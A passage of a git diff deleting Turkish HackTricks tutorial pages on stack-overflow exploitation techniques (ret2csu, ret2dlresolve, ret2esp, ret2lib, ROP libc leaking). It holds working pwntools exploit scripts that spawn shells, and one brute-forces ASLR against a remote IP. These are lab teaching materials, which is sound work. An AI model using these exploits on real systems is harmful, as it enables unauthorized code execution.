tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır: - -{{#ref}} -rop-return-oriented-programing.md -{{#endref}} - -## Koruma Türleri - -Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin: - -{{#ref}} -../common-binary-protections-and-bypasses/ -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md deleted file mode 100644 index 0c81578b9..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md +++ /dev/null @@ -1,29 +0,0 @@ -# Pointer Redirecting - -{{#include ../../../banners/hacktricks-training.md}} - -## String pointers - -Eğer bir fonksiyon çağrısı, yığında bulunan bir stringin adresini kullanacaksa, **bu adresi üzerine yazmak** ve **binaries içinde farklı bir stringin adresini** koymak için buffer overflow'dan faydalanmak mümkündür. - -Örneğin, bir **`system`** fonksiyon çağrısı **bir komut çalıştırmak için bir stringin adresini kullanacaksa**, bir saldırgan **yığında farklı bir stringin adresini** yerleştirebilir, **`export PATH=.:$PATH`** ve mevcut dizinde **yeni stringin ilk harfi ile aynı isme sahip bir script oluşturabilir** çünkü bu binary tarafından çalıştırılacaktır. - -Bunun bir örneğini bulabilirsiniz: - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) -- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) -- 32bit, yığında adresi değiştirerek flag stringini `puts` ile yazdırın. - -## Function pointers - -String pointer ile aynı, ancak fonksiyonlara uygulanır; eğer **yığın bir fonksiyonun adresini** içeriyorsa ve bu fonksiyon çağrılacaksa, **değiştirmek mümkündür** (örneğin **`system`** çağırmak için). - -Bunun bir örneğini bulabilirsiniz: - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) - -## References - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md deleted file mode 100644 index 6b1923c4f..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md +++ /dev/null @@ -1,76 +0,0 @@ -# Ret2csu - -{{#include ../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -**ret2csu**, bir programın kontrolünü ele almaya çalışırken genellikle programın davranışını manipüle etmek için kullandığınız **gadgets**'ları bulamadığınızda kullanılan bir hacking tekniğidir. - -Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracağını yönetmek için bazı yerleşik fonksiyonlara sahiptir. Bu fonksiyonlar arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak işlev görebilecek bazı gizli mücevherler bulunmaktadır. - -### \_\_libc_csu_init'deki Sihirli Gadgets - -`__libc_csu_init` içinde öne çıkan iki talimat dizisi (bizim "sihirli gadgets"larımız) bulunmaktadır: - -1. İlk dizi, birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerleri ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri depolayabileceğimiz slotlar gibidir. -```armasm -pop rbx; -pop rbp; -pop r12; -pop r13; -pop r14; -pop r15; -ret; -``` -Bu cihaz, yığın üzerindeki değerleri bu kayıtlara alarak kontrol etmemizi sağlar. - -2. İkinci dizilim, ayarladığımız değerleri kullanarak birkaç şey yapar: -- **Belirli değerleri diğer kayıtlara taşıma**, bunları fonksiyonlarda parametre olarak kullanmamız için hazır hale getirme. -- **r15 ve rbx'deki değerleri toplayarak** belirlenen bir konuma çağrı yapma, ardından rbx'i 8 ile çarpma. -``` -mov rdx, r14; -mov rsi, r13; -mov edi, r12d; -call qword [r15 + rbx*8]; -``` -## Örnek - -Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` register'larında belirli değerlere ihtiyaç var. Normalde, bu register'ları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız. - -İşte burada **ret2csu** devreye giriyor: - -1. **Register'ları Ayarlayın**: İlk sihirli gadget'ı kullanarak yığın değerlerini rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop edin. -2. **İkinci Gadget'ı Kullanın**: Bu register'lar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bu adresi `[r15 + rbx*8]` içine yerleştirebilirsiniz. - -Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son exploit'tir: -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret -REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8] -RW_LOC = 0x00404028 - -rop.raw('A' * 40) -rop.gets(RW_LOC) -rop.raw(POP_CHAIN) -rop.raw(0) # r12 -rop.raw(0) # r13 -rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX! -rop.raw(RW_LOC) # r15 - holds location of called function! -rop.raw(REG_CALL) # all the movs, plus the call - -p.sendlineafter('me\n', rop.chain()) -p.sendline(p64(elf.sym['win'])) # send to gets() so it's written -print(p.recvline()) # should receive "Awesome work!" -``` -> [!WARNING] -> Önceki exploit'in bir **`RCE`** gerçekleştirmek için tasarlanmadığını, sadece `win` adlı bir fonksiyonu çağırmak için tasarlandığını (ROP zincirinde `win` adresini stdin'den alarak ve bunu r15'te saklayarak) ve üçüncü bir argüman olarak `0xdeadbeefcafed00d` değerini kullandığını unutmayın. - -### Neden Sadece libc Kullanmayalım? - -Genellikle bu durumlar [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html) için de savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilecek parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bunların hepsini doğrudan ayarlamak için gadget bulmak mümkün olmayabilir**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md deleted file mode 100644 index 8cad91bce..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md +++ /dev/null @@ -1,65 +0,0 @@ -# Ret2dlresolve - -{{#include ../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) ve [**Relro**](../common-binary-protections-and-bypasses/relro.md) sayfasında açıklandığı gibi, Full Relro olmayan ikili dosyalar, ilk kez kullanıldıklarında sembolleri (dış kütüphanelere ait adresler gibi) çözer. Bu çözümleme, **`_dl_runtime_resolve`** fonksiyonu çağrılarak gerçekleşir. - -**`_dl_runtime_resolve`** fonksiyonu, belirtilen sembolü çözmek için ihtiyaç duyduğu bazı yapıların yığın referanslarını alır. - -Bu nedenle, dinamik bağlantılı çözümlemenin istenen sembolü (örneğin **`system`** fonksiyonu) sahte yapılarla yapılması mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak mümkündür (örneğin **`system('/bin/sh')`**). - -Genellikle, bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahte hale getirilir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri, **`_dl_runtime_resolve`** fonksiyonunu `$'/bin/sh'` adresi ile çağırarak devam eder. - -> [!TIP] -> Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv.md) veya [SROP](srop-sigreturn-oriented-programming.md) gibi teknikler kullanmak için) ve libc adreslerini sızdırmanın yolları yoksa faydalıdır. - -Bu teknik hakkında daha iyi bir açıklamayı videonun ikinci yarısında bulabilirsiniz: - -{{#ref}} -https://youtu.be/ADULSwnQs-s?feature=shared -{{#endref}} - -## Yapılar - -3 yapıyı sahte hale getirmek gereklidir: **`JMPREL`**, **`STRTAB`** ve **`SYMTAB`**. Bu yapıların nasıl oluşturulduğu hakkında daha iyi bir açıklama için [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) adresine bakabilirsiniz. - -## Saldırı Özeti - -1. Bazı yerlerde sahte yapılar yazın -2. system'ın ilk argümanını ayarlayın (`$rdi = &'/bin/sh'`) -3. **`_dl_runtime_resolve`** çağrısı için yığında yapılarının adreslerini ayarlayın -4. **Çağırın** `_dl_runtime_resolve` -5. **`system`** çözülecek ve `'/bin/sh'` argümanı ile çağrılacaktır - -## Örnek - -Bu tekniğin [**örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **son ROP zincirinin çok iyi bir açıklamasını içermektedir**, ancak burada kullanılan son istismar: -```python -from pwn import * - -elf = context.binary = ELF('./vuln', checksec=False) -p = elf.process() -rop = ROP(elf) - -# create the dlresolve object -dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh']) - -rop.raw('A' * 76) -rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures -rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset - -log.info(rop.dump()) - -p.sendline(rop.chain()) -p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in - -p.interactive() -``` -## Referanslar - -- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) -- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md deleted file mode 100644 index f2c7836f5..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md +++ /dev/null @@ -1,62 +0,0 @@ -# Ret2esp / Ret2reg - -{{#include ../../../banners/hacktricks-training.md}} - -## **Ret2esp** - -**Çünkü ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret eder**, bu teknik EIP'yi (Talimat Göstergesi) bir **`jmp esp`** veya **`call esp`** talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. `ret` talimatı çalıştırıldığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere. - -Eğer **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` talimatlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) ile başa çıkmanız gerekebilir). - -Ayrıca, shellcode'u **EIP bozulmasından sonra** yerleştirebilmek, yığın içinde ortada değil, yığın işlevinin çalışması sırasında gerçekleştirilen herhangi bir `push` veya `pop` talimatının shellcode ile çakışmamasını sağlar. Bu çakışma, shellcode'un işlevin yığınının ortasına yerleştirilmesi durumunda meydana gelebilir. - -### Alan eksikliği - -Eğer RIP'yi üzerine yazdıktan sonra yazmak için alan eksikse (belki sadece birkaç bayt), başlangıçta bir `jmp` shellcode'u yazın: -```armasm -sub rsp, 0x30 -jmp rsp -``` -Ve shellcode'u yığın içinde erken yazın. - -### Örnek - -Bu tekniğin bir örneğini [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) adresinde, son bir istismar ile bulabilirsiniz: -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -jmp_rsp = next(elf.search(asm('jmp rsp'))) - -payload = b'A' * 120 -payload += p64(jmp_rsp) -payload += asm(''' -sub rsp, 10; -jmp rsp; -''') - -pause() -p.sendlineafter('RSP!\n', payload) -p.interactive() -``` -## Ret2reg - -Benzer şekilde, bir fonksiyonun shellcode'un saklandığı adresi döndürdüğünü biliyorsak, **`call eax`** veya **`jmp eax`** talimatlarını (bilinen **ret2eax** tekniği) kullanarak shellcode'umuzu çalıştırmanın başka bir yolunu sunabiliriz. Eax gibi, **ilginç bir adres** içeren **herhangi bir başka register** da kullanılabilir (**ret2reg**). - -### Örnek - -Bir örneği burada bulabilirsiniz: [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - -## Koruma Önlemleri - -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Yığın çalıştırılabilir değilse, bu yardımcı olmayacaktır çünkü shellcode'u yığında yerleştirip çalıştırmak için atlamamız gerekiyor. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Bunlar esp veya herhangi bir başka register'a atlamak için bir talimat bulmayı zorlaştırabilir. - -## Referanslar - -- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) -- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md deleted file mode 100644 index 1549af004..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md +++ /dev/null @@ -1,129 +0,0 @@ -# Ret2lib - -{{#include ../../../../banners/hacktricks-training.md}} - -## **Temel Bilgiler** - -**Ret2Libc**'nin özü, bir zayıf programın yürütme akışını, saldırgan tarafından sağlanan shellcode'u yığın üzerinde çalıştırmak yerine, bir paylaşımlı kütüphanedeki (örneğin, **system**, **execve**, **strcpy**) bir işleve yönlendirmektir. Saldırgan, yığın üzerindeki dönüş adresini istenen kütüphane işlevine işaret edecek şekilde değiştiren bir yük oluşturur ve çağrı konvansiyonuna göre gerekli argümanların doğru bir şekilde ayarlandığından emin olur. - -### **Örnek Adımlar (basitleştirilmiş)** - -- Çağrılacak işlevin adresini (örneğin, system) ve çağrılacak komutu (örneğin, /bin/sh) alın -- İlk argümanı komut dizesine işaret eden ve yürütme akışını işleve iletmek için bir ROP zinciri oluşturun - -## Adresleri Bulma - -- Kullanılan `libc`'nin mevcut makineden olduğunu varsayarsak, bellekte nerede yükleneceğini bulmak için: -```bash -ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) -``` -Eğer ASLR'nin libc'nin adresini değiştirip değiştirmediğini kontrol etmek istiyorsanız şunu yapabilirsiniz: -```bash -for i in `seq 0 20`; do ldd ./ | grep libc; done -``` -- Kullanılan libc'yi bilmek, `system` fonksiyonuna olan ofseti bulmayı da mümkün kılar: -```bash -readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system -``` -- Kullanılan libc'yi bilmek, `/bin/sh` fonksiyonuna olan ofseti bulmayı da mümkün kılar: -```bash -strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh -``` -### gdb-peda / GEF Kullanımı - -Kullanılan libc'yi bilmek, **system** fonksiyonunun, **exit** fonksiyonunun ve **`/bin/sh`** dizesinin adresini almak için Peda veya GEF kullanmayı da mümkün kılar: -``` -p system -p exit -find "/bin/sh" -``` -### /proc/\/maps Kullanımı - -Eğer süreç her konuştuğunuzda **çocuklar** oluşturuyorsa (ağ sunucusu) o dosyayı **okumayı** deneyin (muhtemelen root olmanız gerekecek). - -Burada **libc'nin süreç içinde tam olarak nerede yüklü olduğunu** ve **her çocuğun süreç için nerede yükleneceğini** bulabilirsiniz. - -![](<../../../../images/image (95).png>) - -Bu durumda **0xb75dc000** adresinde yüklenmiştir (Bu libc'nin temel adresi olacaktır) - -## Bilinmeyen libc - -Binariesinin yüklediği **libc'yi bilmemek** mümkün olabilir (çünkü erişiminizin olmadığı bir sunucuda bulunabilir). Bu durumda, **bazı adresleri sızdırmak ve hangi libc** kütüphanesinin kullanıldığını bulmak için açığı kötüye kullanabilirsiniz: - -{{#ref}} -rop-leaking-libc-address/ -{{#endref}} - -Ve bunun için bir pwntools şablonunu burada bulabilirsiniz: - -{{#ref}} -rop-leaking-libc-address/rop-leaking-libc-template.md -{{#endref}} - -## 32 bit ASLR'yi Aşma - -Bu kaba kuvvet saldırıları **yalnızca 32 bit sistemler için** faydalıdır. - -- Eğer istismar yerel ise, libc'nin temel adresini kaba kuvvetle bulmayı deneyebilirsiniz (32 bit sistemler için faydalıdır): -```python -for off in range(0xb7000000, 0xb8000000, 0x1000): -``` -- Eğer uzaktaki bir sunucuya saldırıyorsanız, **`usleep` `libc` fonksiyonunun adresini brute-force ile bulmayı** deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada **sunucu yanıt vermek için 10 saniye ekstra alıyorsa**, bu fonksiyonun adresini bulmuşsunuzdur. - -## One Gadget - -{{#ref}} -../../one-gadget.md -{{#endref}} - -## x86 Ret2lib Kod Örneği - -Bu örnekte ASLR brute-force kodda entegre edilmiştir ve savunmasız ikili dosya uzaktaki bir sunucuda bulunmaktadır: -```python -from pwn import * - -c = remote('192.168.85.181',20002) -c.recvline() - -for off in range(0xb7000000, 0xb8000000, 0x1000): -p = "" -p += p32(off + 0x0003cb20) #system -p += "CCCC" #GARBAGE, could be address of exit() -p += p32(off + 0x001388da) #/bin/sh -payload = 'A'*0x20010 + p -c.send(payload) -c.interactive() -``` -## x64 Ret2lib Kod Örneği - -Aşağıdaki örneği kontrol edin: - -{{#ref}} -../rop-return-oriented-programing.md -{{#endref}} - -## Ret-into-printf (veya puts) - -Bu, `printf`/`puts`'i belirli verilerle argüman olarak çağırarak **işlemden bilgi sızdırmaya** olanak tanır. - -## Ret2printf - -Bu, temel olarak **Ret2lib'i bir `printf` format dizesi zafiyeti haline dönüştürmek için kötüye kullanmak** anlamına gelir; `ret2lib` kullanarak printf'i istismar etmek için değerlerle çağırmak (gereksiz gibi görünüyor ama mümkün): - -{{#ref}} -../../format-strings/ -{{#endref}} - -## Diğer Örnekler ve referanslar - -- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) -- Ret2lib, libc'deki bir fonksiyonun adresine sızdırma yaparak, bir gadget kullanarak -- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR etkin ama PIE yok, ilk adım, puts'u çağırmak ve sızdırmak için kanaryanın 0x00 baytına kadar bir taşmayı doldurmaktır. Kanarya ile puts'un GOT'dan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı oluşturulur ve ardından `system('/bin/sh')` çağıran bir ROP gadget'ı. -- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 bit, ASLR etkin, kanarya yok, bir çocuk fonksiyondan main'de yığın taşması. Puts'un GOT'dan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırır. -- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) -- 64 bit, pie yok, kanarya yok, relro yok, nx. Yazma fonksiyonunu kullanarak yazmanın (libc) adresini sızdırır ve bir gadget çağırır. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md deleted file mode 100644 index a517cdcda..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md +++ /dev/null @@ -1,273 +0,0 @@ -# ROP ile libc adresini sızdırma - -{{#include ../../../../../banners/hacktricks-training.md}} - -## Hızlı Özeti - -1. **Taşma** **ofsetini** **bul** -2. **POP_RDI** gadget'ını, `PUTS_PLT` ve `MAIN`'i **bul** -3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun **bellek adresini sızdır** ve **libc sürümünü bul** ([indirin](https://libc.blukat.me)) -4. Kütüphane ile, **ROP'u hesapla ve bunu kullanarak istismar et** - -## Pratik için diğer eğitimler ve ikili dosyalar - -Bu eğitim, bu eğitimde önerilen kod/ikili dosyayı istismar edecek: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Diğer yararlı eğitimler: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - -## Kod - -Dosya adı: `vuln.c` -```c -#include - -int main() { -char buffer[32]; -puts("Simple ROP.\n"); -gets(buffer); - -return 0; -} -``` - -```bash -gcc -o vuln vuln.c -fno-stack-protector -no-pie -``` -## ROP - LIBC Sızıntı Şablonu - -Saldırıyı gerçekleştirmek için burada bulunan kodu kullanacağım.\ -Saldırıyı indirip, savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin: - -{{#ref}} -rop-leaking-libc-template.md -{{#endref}} - -## 1- Ofseti Bulma - -Şablon, saldırıya devam etmeden önce bir ofsete ihtiyaç duyar. Herhangi bir ofset sağlanırsa, bunu bulmak için gerekli kodu çalıştıracaktır (varsayılan olarak `OFFSET = ""`): -```bash -################### -### Find offset ### -################### -OFFSET = ""#"A"*72 -if OFFSET == "": -gdb.attach(p.pid, "c") #Attach and continue -payload = cyclic(1000) -print(r.clean()) -r.sendline(payload) -#x/wx $rsp -- Search for bytes that crashed the application -#cyclic_find(0x6161616b) # Find the offset of those bytes -return -``` -**Çalıştır** `python template.py` bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolu** içinde `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset** değerini al: -```python -from pwn import * -cyclic_find(0x6161616b) -``` -![](<../../../../../images/image (140).png>) - -Offset'u bulduktan sonra (bu durumda 40) bu değeri kullanarak şablon içindeki OFFSET değişkenini değiştirin.\ -`OFFSET = "A" * 40` - -Başka bir yol ise: `pattern create 1000` -- _ret'e kadar çalıştır_ -- `pattern seach $rsp` GEF'den kullanmaktır. - -## 2- Gadget'ları Bulma - -Artık ikili dosya içinde ROP gadget'larını bulmamız gerekiyor. Bu ROP gadget'ları, kullanılan **libc**'yi bulmak için `puts` çağırmak ve daha sonra **son istismarı başlatmak** için faydalı olacaktır. -```python -PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts -MAIN_PLT = elf.symbols['main'] -POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" -RET = (rop.find_gadget(['ret']))[0] - -log.info("Main start: " + hex(MAIN_PLT)) -log.info("Puts plt: " + hex(PUTS_PLT)) -log.info("pop rdi; ret gadget: " + hex(POP_RDI)) -``` -`PUTS_PLT`, **puts** fonksiyonunu çağırmak için gereklidir.\ -`MAIN_PLT`, bir etkileşimden sonra **overflow**'u **tekrar** **istismar** etmek için **ana fonksiyonu** tekrar çağırmak için gereklidir (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır**.\ -**POP_RDI**, çağrılan fonksiyona bir **parametre** **geçmek** için gereklidir. - -Bu adımda hiçbir şey çalıştırmanıza gerek yoktur, çünkü her şey pwntools tarafından yürütme sırasında bulunacaktır. - -## 3- libc kütüphanesini bulma - -Artık hangi sürümde **libc** kütüphanesinin kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından o adreste hangi **kütüphane sürümü** içinde puts sürümünün bulunduğunu **arama** yapacağız. -```python -def get_addr(func_name): -FUNC_GOT = elf.got[func_name] -log.info(func_name + " GOT @ " + hex(FUNC_GOT)) -# Create rop chain -rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - -#Send our rop-chain payload -#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment -print(p.clean()) # clean socket buffer (read all and print) -p.sendline(rop1) - -#Parse leaked address -recieved = p.recvline().strip() -leak = u64(recieved.ljust(8, "\x00")) -log.info("Leaked libc address, "+func_name+": "+ hex(leak)) -#If not libc yet, stop here -if libc != "": -libc.address = leak - libc.symbols[func_name] #Save libc base -log.info("libc base @ %s" % hex(libc.address)) - -return hex(leak) - -get_addr("puts") #Search for puts address in memmory to obtains libc base -if libc == "": -print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") -p.interactive() -``` -Bunu yapmak için, yürütülen kodun en önemli satırı şudur: -```python -rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) -``` -Bu, bazı baytları **RIP**'i **aşındırmak** mümkün olana kadar gönderecektir: `OFFSET`.\ -Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydına kaydedilecektir. Bunun nedeni, **puts**'u **çağırmak** ve ona `PUTS_GOT`'ın **adresini** geçmektir çünkü puts fonksiyonunun bellek içindeki adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\ -Bundan sonra, `PUTS_PLT` çağrılacak (içinde **RDI**'de `PUTS_GOT` ile) böylece puts, `PUTS_GOT` içindeki içeriği (**puts fonksiyonunun bellek içindeki adresi**) **okuyacak** ve **yazdıracaktır**.\ -Son olarak, **ana fonksiyon tekrar çağrılır** böylece taşmayı tekrar istismar edebiliriz. - -Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **yazdırması** için **kandırdık** (**libc** kütüphanesi içinde bulunan **puts** fonksiyonunun bellek içindeki adresi). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**. - -![](<../../../../../images/image (141).png>) - -**Yerel** bir ikiliyi **istismar** ettiğimiz için, hangi **libc** sürümünün kullanıldığını bulmamıza **gerek yoktur** (sadece `/lib/x86_64-linux-gnu/libc.so.6` içindeki kütüphaneyi bulmak yeterlidir).\ -Ancak, uzaktan bir istismar durumunda, bunu nasıl bulabileceğinizi burada açıklayacağım: - -### 3.1- libc sürümünü arama (1) - -Hangi kütüphanenin kullanıldığını web sayfasında arayabilirsiniz: [https://libc.blukat.me/](https://libc.blukat.me)\ -Ayrıca, keşfedilen **libc** sürümünü indirmenize de olanak tanır. - -![](<../../../../../images/image (142).png>) - -### 3.2- libc sürümünü arama (2) - -Ayrıca şunları yapabilirsiniz: - -- `$ git clone https://github.com/niklasb/libc-database.git` -- `$ cd libc-database` -- `$ ./get` - -Bu biraz zaman alacaktır, sabırlı olun.\ -Bunun çalışması için şunlara ihtiyacımız var: - -- Libc sembol adı: `puts` -- Sızdırılan libc adresi: `0x7ff629878690` - -Hangi **libc**'nin muhtemelen kullanıldığını belirleyebiliriz. -```bash -./find puts 0x7ff629878690 -ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) -archive-glibc (id libc6_2.23-0ubuntu11_amd64) -``` -İki eşleşme alıyoruz (ilk çalışmıyorsa ikinciyi denemelisiniz). İlkini indirin: -```bash -./download libc6_2.23-0ubuntu10_amd64 -Getting libc6_2.23-0ubuntu10_amd64 --> Location: 